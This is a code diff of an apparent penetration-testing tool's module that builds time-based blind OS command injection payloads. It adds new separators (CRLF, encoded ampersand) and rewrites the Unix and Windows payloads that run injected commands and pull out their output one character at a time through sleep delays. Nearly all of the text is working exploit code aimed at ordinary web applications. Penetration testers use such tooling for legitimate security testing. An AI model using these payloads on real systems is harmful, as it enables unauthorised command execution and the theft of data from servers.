settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX + separator + - "fi" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep($((" + str(timesec) + "*(" + str(output_length) + "==${" + settings.RANDOM_VAR_GENERATOR + "1}))))\"" + settings.CMD_SUB_SUFFIX ) + elif separator == "%26": + payload = (separator + + # Find the length of the output, using readline(). + "[ " + str(output_length) + " -eq " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(len(\'" + TAG + "\'))\"" + settings.CMD_SUB_SUFFIX + " ]" + "&&" + + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX + ) + elif separator == _urllib.parse.quote("&&") : ampersand = _urllib.parse.quote("&") payload = (ampersand + settings.SINGLE_WHITESPACE + @@ -121,22 +131,22 @@ def decision_alter_interpreter(separator, TAG, output_length, timesec, http_requ # Find the length of the output, using readline(). settings.RANDOM_VAR_GENERATOR + "1=" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(len(\'" + TAG + "\'))\"" + settings.CMD_SUB_SUFFIX + separator + "[ " + str(output_length) + " -eq ${" + settings.RANDOM_VAR_GENERATOR + "1} ] " + separator + - settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX ) - elif separator == "||" : + elif separator in ("|", "||"): pipe = "|" payload = (pipe + # Find the length of the output, using readline(). - "[ " + str(output_length) + " -ne " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(len(\'" + TAG + "\'))\")] " + separator + - settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + pipe + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX + "[ " + str(output_length) + " -ne " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(len(\'" + TAG + "\'))\") ] " + "||" + + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + pipe + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX ) else: pass if settings.CUSTOM_INJECTION_MARKER: - payload = payload + separator + payload = checks.append_custom_marker(payload, separator) payload = checks.sanitize_payload_newlines(payload) @@ -148,11 +158,16 @@ def decision_alter_interpreter(separator, TAG, output_length, timesec, http_requ def condition_check(separator, condition, timesec, http_request_method): if settings.TARGET_OS == settings.OS.WINDOWS: return None - if separator in (";", "%0a"): + if separator in (";", "%0a", "%0d%0a"): + payload = (separator + + "[ " + condition + " ]" + separator + + settings.RANDOM_VAR_GENERATOR + "=$?" + separator + + "sleep $((" + str(timesec) + "*(" + settings.RANDOM_VAR_GENERATOR + "==0)))" + ) + elif separator == "%26": payload = (separator + - "if [ " + condition + " ]" + separator + - "then sleep " + str(timesec) + separator + - "fi" + "[ " + condition + " ]" + "&&" + + "sleep " + str(timesec) ) elif separator == _urllib.parse.quote("&&"): payload = (_urllib.parse.quote("&") + @@ -160,17 +175,17 @@ def condition_check(separator, condition, timesec, http_request_method): "[ " + condition + " ]" + separator + "sleep " + str(timesec) ) - elif separator == "||": + elif separator in ("|", "||"): pipe = "|" payload = (pipe + - "[ ! " + condition + " ]" + separator + + "[ ! " + condition + " ]" + "||" + "sleep " + str(timesec) ) else: return None if settings.CUSTOM_INJECTION_MARKER: - payload = payload + separator + payload = checks.append_custom_marker(payload, separator) return checks.sanitize_payload_newlines(payload) @@ -178,6 +193,7 @@ def condition_check(separator, condition, timesec, http_request_method): Execute shell commands on vulnerable host. """ def cmd_execution(separator, cmd, output_length, timesec, http_request_method): + payload = "" if settings.TARGET_OS == settings.OS.WINDOWS: if separator in ("|", "||"): pipe = "|" @@ -203,13 +219,17 @@ def cmd_execution(separator, cmd, output_length, timesec, http_request_method): cmd_exec = cmd if settings.USE_BACKTICKS: cmd_exec = settings.CMD_SUB_PREFIX + cmd + settings.CMD_SUB_SUFFIX - if separator in (";", "%0a"): + if separator in (";", "%0a", "%0d%0a"): payload = (separator + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + "echo \"" + settings.CMD_SUB_PREFIX + cmd_exec + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX + separator + settings.RANDOM_VAR_GENERATOR + "1=${#" + settings.RANDOM_VAR_GENERATOR + "}" + separator + - "if [ " + str(output_length) + " -eq $" + settings.RANDOM_VAR_GENERATOR + "1 ]" + separator + - "then sleep " + str(timesec) + separator + - "fi" + "sleep $((" + str(timesec) + "*(" + str(output_length) + "==$" + settings.RANDOM_VAR_GENERATOR + "1)))" + ) + + elif separator == "%26": + payload = (separator + + "[ " + str(output_length) + " -eq $(wc -c < <(printf '%s' \"" + settings.CMD_SUB_PREFIX + cmd_exec + settings.CMD_SUB_SUFFIX + "\")) ]" + "&&" + + "sleep " + str(timesec) ) elif separator == _urllib.parse.quote("&&") : @@ -223,18 +243,18 @@ def cmd_execution(separator, cmd, output_length, timesec, http_request_method): "sleep " + str(timesec) ) - elif separator == "||" : + elif separator in ("|", "||"): pipe = "|" payload = (pipe + "[ " +str(output_length)+ " -ne " + settings.CMD_SUB_PREFIX + "echo -n \"" + settings.CMD_SUB_PREFIX + cmd + settings.CMD_SUB_SUFFIX + "\"" + - pipe + "tr -d '" + settings.END_LINE.ESCAPED_LF + "'" + pipe + "wc -c" + settings.CMD_SUB_SUFFIX + " ]" + separator + + pipe + "tr -d '" + settings.END_LINE.ESCAPED_LF + "'" + pipe + "wc -c" + settings.CMD_SUB_SUFFIX + " ]" + "||" + "sleep " + str(timesec) ) else: pass if settings.CUSTOM_INJECTION_MARKER: - payload = payload + separator + payload = checks.append_custom_marker(payload, separator) return payload @@ -242,6 +262,7 @@ def cmd_execution(separator, cmd, output_length, timesec, http_request_method): __Warning__: The alternative shells are still experimental. """ def cmd_execution_alter_interpreter(separator, cmd, output_length, timesec, http_request_method): + payload = "" if settings.TARGET_OS == settings.OS.WINDOWS: if separator in ("|", "||"): pipe = "|" @@ -264,14 +285,19 @@ def cmd_execution_alter_interpreter(separator, cmd, output_length, timesec, http else: settings.USER_APPLIED_CMD = cmd - if separator in (";", "%0a"): + if separator in (";", "%0a", "%0d%0a"): payload = (separator + # Find the length of the output, using readline(). settings.RANDOM_VAR_GENERATOR + "1=" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(len(\'" + settings.CMD_SUB_PREFIX + "echo " + settings.CMD_SUB_PREFIX + cmd + "))\'))\"" + settings.CMD_SUB_SUFFIX + separator + - "if [ " + str(output_length) + " -eq ${" + settings.RANDOM_VAR_GENERATOR + "1} ]" + separator + - "then " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX + separator + - "fi" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep($((" + str(timesec) + "*(" + str(output_length) + "==${" + settings.RANDOM_VAR_GENERATOR + "1}))))\"" + settings.CMD_SUB_SUFFIX ) + elif separator == "%26": + payload = (separator + + # Find the length of the output, using readline(). + "[ " + str(output_length) + " -eq " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(len(\'" + settings.CMD_SUB_PREFIX + "echo " + settings.CMD_SUB_PREFIX + cmd + "))\'))\"" + settings.CMD_SUB_SUFFIX + " ]" + "&&" + + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX + ) + elif separator == _urllib.parse.quote("&&") : ampersand = _urllib.parse.quote("&") payload = (ampersand + @@ -283,18 +309,18 @@ def cmd_execution_alter_interpreter(separator, cmd, output_length, timesec, http ) - elif separator == "||" : + elif separator in ("|", "||"): pipe = "|" payload = (pipe + # Find the length of the output, using readline(). - "[ " + str(output_length) + " -ne " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(len(\'" + settings.CMD_SUB_PREFIX + "echo " + settings.CMD_SUB_PREFIX + cmd + "))\'))\") ] " + separator + - settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + pipe + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX + "[ " + str(output_length) + " -ne " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(len(\'" + settings.CMD_SUB_PREFIX + "echo " + settings.CMD_SUB_PREFIX + cmd + "))\'))\") ] " + "||" + + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + pipe + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX ) else: pass if settings.CUSTOM_INJECTION_MARKER: - payload = payload + separator + payload = checks.append_custom_marker(payload, separator) return checks.sanitize_payload_newlines(payload) @@ -302,6 +328,7 @@ def cmd_execution_alter_interpreter(separator, cmd, output_length, timesec, http Ordering (not equality) length check, so the output length can be binary searched. """ def get_length(separator, cmd, candidate_length, timesec, http_request_method): + payload = "" if settings.TARGET_OS == settings.OS.WINDOWS: if separator in ("|", "||"): pipe = "|" @@ -325,13 +352,17 @@ def get_length(separator, cmd, candidate_length, timesec, http_request_method): cmd_exec = cmd if settings.USE_BACKTICKS: cmd_exec = settings.CMD_SUB_PREFIX + cmd + settings.CMD_SUB_SUFFIX - if separator in (";", "%0a"): + if separator in (";", "%0a", "%0d%0a"): payload = (separator + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + "echo \"" + settings.CMD_SUB_PREFIX + cmd_exec + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX + separator + settings.RANDOM_VAR_GENERATOR + "1=${#" + settings.RANDOM_VAR_GENERATOR + "}" + separator + - "if [ " + str(candidate_length) + " -le $" + settings.RANDOM_VAR_GENERATOR + "1 ]" + separator + - "then sleep " + str(timesec) + separator + - "fi" + "sleep $((" + str(timesec) + "*(" + str(candidate_length) + "<=$" + settings.RANDOM_VAR_GENERATOR + "1)))" + ) + + elif separator == "%26": + payload = (separator + + "[ " + str(candidate_length) + " -le $(wc -c < <(printf '%s' \"" + settings.CMD_SUB_PREFIX + "echo \"" + settings.CMD_SUB_PREFIX + cmd_exec + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX + "\")) ]" + "&&" + + "sleep " + str(timesec) ) elif separator == _urllib.parse.quote("&&") : @@ -344,19 +375,17 @@ def get_length(separator, cmd, candidate_length, timesec, http_request_method): "sleep " + str(timesec) ) - elif separator == "||" : + elif separator in ("|", "||"): pipe = "|" - # Keep the leading pipe and "||" injection syntax; only length computation runs pipe-free. payload = (pipe + - # Inverted to -gt: "||" only runs sleep when this test fails, so sleep still fires exactly when candidate_length <= actual. - "[ " + str(candidate_length) + " -gt $(" + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + "echo \"" + settings.CMD_SUB_PREFIX + cmd_exec + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX + ";echo ${#" + settings.RANDOM_VAR_GENERATOR + "}) ]" + separator + + "[ " + str(candidate_length) + " -gt $(wc -c < <(printf '%s' \"" + settings.CMD_SUB_PREFIX + "echo \"" + settings.CMD_SUB_PREFIX + cmd_exec + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX + "\")) ]" + "||" + "sleep " + str(timesec) ) else: pass if settings.CUSTOM_INJECTION_MARKER: - payload = payload + separator + payload = checks.append_custom_marker(payload, separator) return payload @@ -364,6 +393,7 @@ def get_length(separator, cmd, candidate_length, timesec, http_request_method): __Warning__: The alternative shells are still experimental. """ def get_length_alter_interpreter(separator, cmd, candidate_length, timesec, http_request_method): + payload = "" if settings.TARGET_OS == settings.OS.WINDOWS: if separator in ("|", "||"): pipe = "|" @@ -386,12 +416,15 @@ def get_length_alter_interpreter(separator, cmd, candidate_length, timesec, http else: settings.USER_APPLIED_CMD = cmd - if separator in (";", "%0a"): + if separator in (";", "%0a", "%0d%0a"): payload = (separator + settings.RANDOM_VAR_GENERATOR + "1=" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(len(\'" + settings.CMD_SUB_PREFIX + "echo " + settings.CMD_SUB_PREFIX + cmd + "))\'))\"" + settings.CMD_SUB_SUFFIX + separator + - "if [ " + str(candidate_length) + " -le ${" + settings.RANDOM_VAR_GENERATOR + "1} ]" + separator + - "then " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX + separator + - "fi" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep($((" + str(timesec) + "*(" + str(candidate_length) + "<=${" + settings.RANDOM_VAR_GENERATOR + "1}))))\"" + settings.CMD_SUB_SUFFIX + ) + elif separator == "%26": + payload = (separator + + "[ " + str(candidate_length) + " -le " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(len(\'" + settings.CMD_SUB_PREFIX + "echo " + settings.CMD_SUB_PREFIX + cmd + "))\'))\"" + settings.CMD_SUB_SUFFIX + " ]" + "&&" + + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX ) elif separator == _urllib.parse.quote("&&") : ampersand = _urllib.parse.quote("&") @@ -401,18 +434,17 @@ def get_length_alter_interpreter(separator, cmd, candidate_length, timesec, http "[ " + str(candidate_length) + " -le ${" + settings.RANDOM_VAR_GENERATOR + "1} ] " + separator + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\") " ) - elif separator == "||" : + elif separator in ("|", "||"): pipe = "|" payload = (pipe + - # Inverted to -gt: "||" only runs sleep when this test fails, so sleep still fires exactly when candidate_length <= actual. - "[ " + str(candidate_length) + " -gt " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(len(\'" + settings.CMD_SUB_PREFIX + "echo " + settings.CMD_SUB_PREFIX + cmd + "))\'))\") ] " + separator + + "[ " + str(candidate_length) + " -gt " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(len(\'" + settings.CMD_SUB_PREFIX + "echo " + settings.CMD_SUB_PREFIX + cmd + "))\'))\") ] " + "||" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + pipe + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX ) else: pass if settings.CUSTOM_INJECTION_MARKER: - payload = payload + separator + payload = checks.append_custom_marker(payload, separator) return checks.sanitize_payload_newlines(payload) @@ -420,12 +452,14 @@ def get_length_alter_interpreter(separator, cmd, candidate_length, timesec, http Get the execution output, of shell execution. """ def get_char(separator, cmd, num_of_chars, ascii_char, timesec, http_request_method, operator="-le"): - # Use bisection by default; validation re-probes the resolved value with equality. + payload = "" win_operator = "GEQ" if operator == "-le" else "EQU" + inverted_operator = "-gt" if operator == "-le" else "-ne" + arith_operator = "<=" if operator == "-le" else "==" if settings.TARGET_OS == settings.OS.WINDOWS: if separator in ("|", "||"): pipe = "|" - payload = (pipe + settings.SINGLE_WHITESPACE + + payload = (pipe + "for /f \"tokens=*\" %i in ('cmd /c \"powershell.exe -InputFormat none write ([int][char](([string](cmd /c " + cmd + ")).trim()).substring(" + str(num_of_chars-1) + ",1))\"') do if %i " + win_operator + settings.SINGLE_WHITESPACE + str(ascii_char) + settings.SINGLE_WHITESPACE + "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec + 1) + "\"" @@ -445,19 +479,25 @@ def get_char(separator, cmd, num_of_chars, ascii_char, timesec, http_request_met if settings.USE_BACKTICKS: cmd_exec = settings.CMD_SUB_PREFIX + cmd + settings.CMD_SUB_SUFFIX settings.USER_APPLIED_CMD = cmd - # Strip the prefix with shell parameter expansion and keep the next byte literally. qmarks = "?" * (num_of_chars - 1) ordinal_expr = "$(printf '%d' \"'${" + settings.RANDOM_VAR_GENERATOR + "}\")" + pure_ordinal_expr = ("$(printf '%d' \"'$(cut -c" + str(num_of_chars) + " <(printf '%s' \"" + + settings.CMD_SUB_PREFIX + "echo \"" + settings.CMD_SUB_PREFIX + cmd_exec + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX + + "\"))\")") - if separator in (";", "%0a") : + if separator in (";", "%0a", "%0d%0a") : payload = (separator + # Grab the execution output. settings.RANDOM_VAR_GENERATOR + "=\"" + settings.CMD_SUB_PREFIX + "echo \"" + settings.CMD_SUB_PREFIX + cmd_exec + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX + "\"" + separator + settings.RANDOM_VAR_GENERATOR + "=\"${" + settings.RANDOM_VAR_GENERATOR + "#" + qmarks + "}\"" + separator + settings.RANDOM_VAR_GENERATOR + "=\"${" + settings.RANDOM_VAR_GENERATOR + "%\"${" + settings.RANDOM_VAR_GENERATOR + "#?}\"}\"" + separator + - "if [ " + str(ascii_char) + settings.SINGLE_WHITESPACE + operator + settings.SINGLE_WHITESPACE + ordinal_expr + " ]" + separator + - "then sleep " + str(timesec) + separator + - "fi" + "sleep $((" + str(timesec) + "*(" + str(ascii_char) + arith_operator + ordinal_expr + ")))" + ) + + elif separator == "%26": + payload = (separator + + "[ " + str(ascii_char) + settings.SINGLE_WHITESPACE + operator + settings.SINGLE_WHITESPACE + pure_ordinal_expr + " ]" + "&&" + + "sleep " + str(timesec) ) elif separator == _urllib.parse.quote("&&") : @@ -473,21 +513,17 @@ def get_char(separator, cmd, num_of_chars, ascii_char, timesec, http_request_met "sleep " + str(timesec) ) - elif separator == "||" : + elif separator in ("|", "||"): pipe = "|" - # Keep the pipe syntax; run extraction pipe-free in a self-contained subshell. payload = (pipe + - "[ " + str(ascii_char) + " -gt $(" + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + "echo \"" + settings.CMD_SUB_PREFIX + cmd + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX + ";" + - settings.RANDOM_VAR_GENERATOR + "=${" + settings.RANDOM_VAR_GENERATOR + "#" + qmarks + "};" + - settings.RANDOM_VAR_GENERATOR + "=${" + settings.RANDOM_VAR_GENERATOR + "%\"${" + settings.RANDOM_VAR_GENERATOR + "#?}\"};" + - "printf '%d' \"'${" + settings.RANDOM_VAR_GENERATOR + "}\") ]" + separator + + "[ " + str(ascii_char) + settings.SINGLE_WHITESPACE + inverted_operator + settings.SINGLE_WHITESPACE + pure_ordinal_expr + " ]" + "||" + "sleep " + str(timesec) ) else: pass if settings.CUSTOM_INJECTION_MARKER: - payload = payload + separator + payload = checks.append_custom_marker(payload, separator) return payload @@ -495,8 +531,10 @@ def get_char(separator, cmd, num_of_chars, ascii_char, timesec, http_request_met __Warning__: The alternative shells are still experimental. """ def get_char_alter_interpreter(separator, cmd, num_of_chars, ascii_char, timesec, http_request_method, operator="-le"): - # Same bisection comparison by default as get_char() - validation re-probes with an equality operator. + payload = "" win_operator = "GEQ" if operator == "-le" else "EQU" + inverted_operator = "-gt" if operator == "-le" else "-ne" + arith_operator = "<=" if operator == "-le" else "==" if settings.TARGET_OS == settings.OS.WINDOWS: python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"import os; print(ord(os.popen('" + cmd + "').read().strip()[" + str(num_of_chars-1) + ":" + str(num_of_chars) + "]))\"" if separator in ("|", "||"): @@ -521,12 +559,16 @@ def get_char_alter_interpreter(separator, cmd, num_of_chars, ascii_char, timesec else: settings.USER_APPLIED_CMD = cmd - if separator in (";", "%0a"): + if separator in (";", "%0a", "%0d%0a"): payload = (separator + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(ord(\'" + settings.CMD_SUB_PREFIX + "echo " + settings.CMD_SUB_PREFIX + cmd + "))\'[" + str(num_of_chars-1) + ":" +str(num_of_chars)+ "]))\nexit(0)\"" + settings.CMD_SUB_SUFFIX + separator + - "if [ " + str(ascii_char) + settings.SINGLE_WHITESPACE + operator + settings.SINGLE_WHITESPACE + "${" + settings.RANDOM_VAR_GENERATOR + "} ]" + separator + - "then " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX + separator + - "fi" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep($((" + str(timesec) + "*(" + str(ascii_char) + arith_operator + "${" + settings.RANDOM_VAR_GENERATOR + "}))))\"" + settings.CMD_SUB_SUFFIX + ) + + elif separator == "%26": + payload = (separator + + "[ " + str(ascii_char) + settings.SINGLE_WHITESPACE + operator + settings.SINGLE_WHITESPACE + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(ord(\'" + settings.CMD_SUB_PREFIX + "echo " + settings.CMD_SUB_PREFIX + cmd + "))\'[" + str(num_of_chars-1) + ":" +str(num_of_chars)+ "]))\nexit(0)\"" + settings.CMD_SUB_SUFFIX + " ]" + "&&" + + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX ) elif separator == _urllib.parse.quote("&&") : @@ -539,11 +581,10 @@ def get_char_alter_interpreter(separator, cmd, num_of_chars, ascii_char, timesec ) - elif separator == "||" : + elif separator in ("|", "||"): pipe = "|" - # Inverted to -gt (like get_char()'s "||" branch): "||" only runs sleep when this test fails. payload = (pipe + - "[ " + str(ascii_char) + " -gt " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(ord(\'" + settings.CMD_SUB_PREFIX + "echo " + settings.CMD_SUB_PREFIX + cmd + "))\'[" + str(num_of_chars-1) + ":" +str(num_of_chars)+ "]))\nexit(0)\") ] " + separator + + "[ " + str(ascii_char) + settings.SINGLE_WHITESPACE + inverted_operator + settings.SINGLE_WHITESPACE + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(ord(\'" + settings.CMD_SUB_PREFIX + "echo " + settings.CMD_SUB_PREFIX + cmd + "))\'[" + str(num_of_chars-1) + ":" +str(num_of_chars)+ "]))\nexit(0)\") ] " + "||" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + pipe + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX ) @@ -551,7 +592,7 @@ def get_char_alter_interpreter(separator, cmd, num_of_chars, ascii_char, timesec pass if settings.CUSTOM_INJECTION_MARKER: - payload = payload + separator + payload = checks.append_custom_marker(payload, separator) payload = checks.sanitize_payload_newlines(payload) @@ -561,6 +602,7 @@ def get_char_alter_interpreter(separator, cmd, num_of_chars, ascii_char, timesec Get the execution output, of shell execution. """ def fp_result(separator, cmd, num_of_chars, ascii_char, timesec, http_request_method): + payload = "" if settings.TARGET_OS == settings.OS.WINDOWS: if separator in ("|", "||"): pipe = "|" @@ -582,12 +624,16 @@ def fp_result(separator, cmd, num_of_chars, ascii_char, timesec, http_request_me pass else: - if separator in (";", "%0a"): + if separator in (";", "%0a", "%0d%0a"): payload = (separator + settings.RANDOM_VAR_GENERATOR + "=\"" + settings.CMD_SUB_PREFIX + cmd + settings.CMD_SUB_SUFFIX + "\"" + separator + - "if [ " + str(ascii_char) + " -eq $" + settings.RANDOM_VAR_GENERATOR + " ]" + separator + - "then sleep " + str(timesec) + separator + - "fi" + "sleep $((" + str(timesec) + "*(" + str(ascii_char) + "==$" + settings.RANDOM_VAR_GENERATOR + ")))" + ) + + elif separator == "%26": + payload = (separator + + "[ " + str(ascii_char) + " -eq \"" + settings.CMD_SUB_PREFIX + cmd + settings.CMD_SUB_SUFFIX + "\" ]" + "&&" + + "sleep " + str(timesec) ) elif separator == _urllib.parse.quote("&&") : @@ -599,17 +645,17 @@ def fp_result(separator, cmd, num_of_chars, ascii_char, timesec, http_request_me "sleep " + str(timesec) ) - elif separator == "||" : + elif separator in ("|", "||"): pipe = "|" payload = (pipe + - "[ " + str(ascii_char) + " -ne \"" + settings.CMD_SUB_PREFIX + cmd + settings.CMD_SUB_SUFFIX + "\" ]" + separator + + "[ " + str(ascii_char) + " -ne \"" + settings.CMD_SUB_PREFIX + cmd + settings.CMD_SUB_SUFFIX + "\" ]" + "||" + "sleep " + str(timesec) ) else: pass if settings.CUSTOM_INJECTION_MARKER: - payload = payload + separator + payload = checks.append_custom_marker(payload, separator) return payload @@ -617,6 +663,7 @@ def fp_result(separator, cmd, num_of_chars, ascii_char, timesec, http_request_me __Warning__: The alternative shells are still experimental. """ def fp_result_alter_interpreter(separator, cmd, num_of_chars, ascii_char, timesec, http_request_method): + payload = "" if settings.TARGET_OS == settings.OS.WINDOWS: if separator in ("|", "||"): pipe = "|" @@ -638,12 +685,16 @@ def fp_result_alter_interpreter(separator, cmd, num_of_chars, ascii_char, timese pass else: - if separator in (";", "%0a"): + if separator in (";", "%0a", "%0d%0a"): payload = (separator + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(" + settings.CMD_SUB_PREFIX + "echo " + settings.CMD_SUB_PREFIX + cmd + ")))\n\"" + settings.CMD_SUB_SUFFIX + separator + - "if [ " + str(ascii_char) + " -eq ${" + settings.RANDOM_VAR_GENERATOR + "} ]" + separator + - "then " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX + separator + - "fi" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep($((" + str(timesec) + "*(" + str(ascii_char) + "==${" + settings.RANDOM_VAR_GENERATOR + "}))))\"" + settings.CMD_SUB_SUFFIX + ) + + elif separator == "%26": + payload = (separator + + "[ " + str(ascii_char) + " -eq " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(" + settings.CMD_SUB_PREFIX + "echo " + settings.CMD_SUB_PREFIX + cmd + ")))\n\"" + settings.CMD_SUB_SUFFIX + " ]" + "&&" + + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX ) elif separator == _urllib.parse.quote("&&") : @@ -652,22 +703,22 @@ def fp_result_alter_interpreter(separator, cmd, num_of_chars, ascii_char, timese settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + separator + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(" + settings.CMD_SUB_PREFIX + "echo " + settings.CMD_SUB_PREFIX + cmd + ")))\n\"" + settings.CMD_SUB_SUFFIX + separator + "[ " + str(ascii_char) + " -eq ${" + settings.RANDOM_VAR_GENERATOR + "} ] " + separator + - settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + 